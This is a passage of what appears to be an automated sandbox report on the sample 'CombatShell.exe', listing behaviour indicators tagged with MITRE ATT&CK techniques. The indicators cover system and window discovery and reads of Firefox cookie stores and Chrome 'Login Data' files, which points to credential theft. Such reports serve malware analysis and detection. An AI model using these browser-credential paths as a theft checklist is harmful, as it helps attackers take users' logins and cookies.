\"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-78","type":3,"relevance":1,"name":"Contains ability to read software policies","description":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","description_v2":["\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")"}],"origin":"Registry Access","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-249","type":2,"relevance":1,"name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1070.006","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1070/006","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-89","type":2,"relevance":1,"name":"Contains ability to retrieve information about the current system (API string)","description":"$2f","description_v2":["Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"CombatShell.exe\")","Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; File: \"CombatShell.exe\")","Found reference to API \"GetMonitorInfoW\" (Indicator: \"GetMonitorInfo\"; File: \"CombatShell.exe\")","Found reference to API \"66170002347,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"66244794347,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:04.343\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"66191848519,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"66265979761,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:04.343\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"GetNativeSystemInfo\" (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetMonitorInfoW\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"104979610012,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:20.468\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"105030578694,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:20.500\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"104880967342,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:20.437\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"88144797335,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:13.453\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"104955332690,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:20.468\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetMonitorInfoW\" (Indicator: \"GetMonitorInfo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66170002347,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66244794347,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:04.343\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66191848519,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66265979761,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:04.343\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetNativeSystemInfo\" (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetMonitorInfoW\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104979610012,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:20.468\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"105030578694,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:20.500\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104880967342,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:20.437\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"88144797335,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:13.453\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104955332690,4752,115,,GetMonitorInfoW,user32.dll,\"01:15:20.468\",RX=0,PX=0\" (Indicator: \"GetMonitorInfo\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-247","type":2,"relevance":1,"name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"CombatShell.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"CombatShell.exe\")","Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1124","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1124","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-248","type":2,"relevance":1,"name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1124","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1124","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-141","type":2,"relevance":1,"name":"Contains ability to retrieve open application windows (API string)","description":"$30","description_v2":["Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"CombatShell.exe\")","Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; File: \"CombatShell.exe\")","Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"CombatShell.exe\")","Found reference to API \"GetWindowTextLengthW\" (Indicator: \"GetWindowText\"; File: \"CombatShell.exe\")","Found reference to API \"66266187581,4752,109,,GetWindowTextW,user32.dll,\"01:15:04.343\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"66192032103,4752,109,,GetWindowTextW,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"66170255583,4752,109,,GetWindowTextW,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"66245043131,4752,109,,GetWindowTextW,user32.dll,\"01:15:04.343\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"104892055646,4752,107,,GetActiveWindow,user32.dll,\"01:15:20.437\",RX=0,PX=0\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"104979846792,4752,109,,GetWindowTextW,user32.dll,\"01:15:20.468\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"105030823666,4752,109,,GetWindowTextW,user32.dll,\"01:15:20.500\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"104903918578,4752,109,,GetWindowTextW,user32.dll,\"01:15:20.437\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetWindowTextLengthW\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetWindowTextLengthW\" (Indicator: \"GetWindowText\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66266187581,4752,109,,GetWindowTextW,user32.dll,\"01:15:04.343\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66192032103,4752,109,,GetWindowTextW,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66170255583,4752,109,,GetWindowTextW,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66245043131,4752,109,,GetWindowTextW,user32.dll,\"01:15:04.343\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104892055646,4752,107,,GetActiveWindow,user32.dll,\"01:15:20.437\",RX=0,PX=0\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104979846792,4752,109,,GetWindowTextW,user32.dll,\"01:15:20.468\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"105030823666,4752,109,,GetWindowTextW,user32.dll,\"01:15:20.500\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104903918578,4752,109,,GetWindowTextW,user32.dll,\"01:15:20.437\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetWindowTextLengthW\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1010","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1010","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-327","type":2,"relevance":1,"name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver\" (Indicator: \"ver\") in Source: 00000000-00005644.00000000.286803.21F00000.00000004.mdmp\n 00000000-00005644.00000001.288725.21F00000.00000004.mdmp\n 00000000-00005644.00000002.290644.21F00000.00000004.mdmp","description_v2":["Observed string: \"ver\" (Indicator: \"ver\") in Source: 00000000-00005644.00000000.286803.21F00000.00000004.mdmp","00000000-00005644.00000001.288725.21F00000.00000004.mdmp","00000000-00005644.00000002.290644.21F00000.00000004.mdmp"],"description_v3":[{"type":"text","value":"Observed string: \"ver\" (Indicator: \"ver\") in Source: 00000000-00005644.00000000.286803.21F00000.00000004.mdmp"},{"type":"linebreak"},{"type":"text","value":"00000000-00005644.00000001.288725.21F00000.00000004.mdmp"},{"type":"linebreak"},{"type":"text","value":"00000000-00005644.00000002.290644.21F00000.00000004.mdmp"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-312","type":2,"relevance":1,"name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"CombatShell.exe\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"CombatShell.exe\")","Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-143","type":2,"relevance":1,"name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"CombatShell.exe\")\n Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"CombatShell.exe\")","Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1614.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1614/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-11","type":6,"relevance":2,"name":"Queries volume information","description":"$31","description_v2":["\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\" at 00000000-00005644-00000C17-3481757190","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\" at 00000000-00005644-00000C17-3481757732","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\" at 00000000-00005644-00000C17-3481759007","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\\cookies.sqlite\" at 00000000-00005644-00000C17-3481762020","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\lfdjd4n4.default\" at 00000000-00005644-00000C17-3481763080","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\\cookies.sqlite\" at 00000000-00005644-00000C17-3481764757","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\" at 00000000-00005644-00000C17-3481795164","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\" at 00000000-00005644-00000C17-3481799952","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateRevocation\" at 00000000-00005644-00000C17-3481801165","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\chrome_shutdown_ms.txt\" at 00000000-00005644-00000C17-3481802462","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\ClientSidePhishing\" at 00000000-00005644-00000C17-3481803269","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" at 00000000-00005644-00000C17-3481804594","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Crowd Deny\" at 00000000-00005644-00000C17-3481805692","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\" at 00000000-00005644-00000C17-3481806769","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\" at 00000000-00005644-00000C17-3481826048","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\" at 00000000-00005644-00000C17-3481827171","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\First Run\" at 00000000-00005644-00000C17-3481828603","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\FirstPartySetsPreloaded\" at 00000000-00005644-00000C17-3481830234","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\first_party_sets.db\" at 00000000-00005644-00000C17-3481831626","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\first_party_sets.db-journal\" at 00000000-00005644-00000C17-3481832556","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\GraphiteDawnCache\" at 00000000-00005644-00000C17-3481833403","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\GrShaderCache\" at 00000000-00005644-00000C17-3481834555","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\hyphen-data\" at 00000000-00005644-00000C17-3481835690","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Browser\" at 00000000-00005644-00000C17-3481836891","\"CombatShell.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Version\" at 00000000-00005644-00000C17-3481837719"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\" at 00000000-00005644-00000C17-3481757190"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\" at 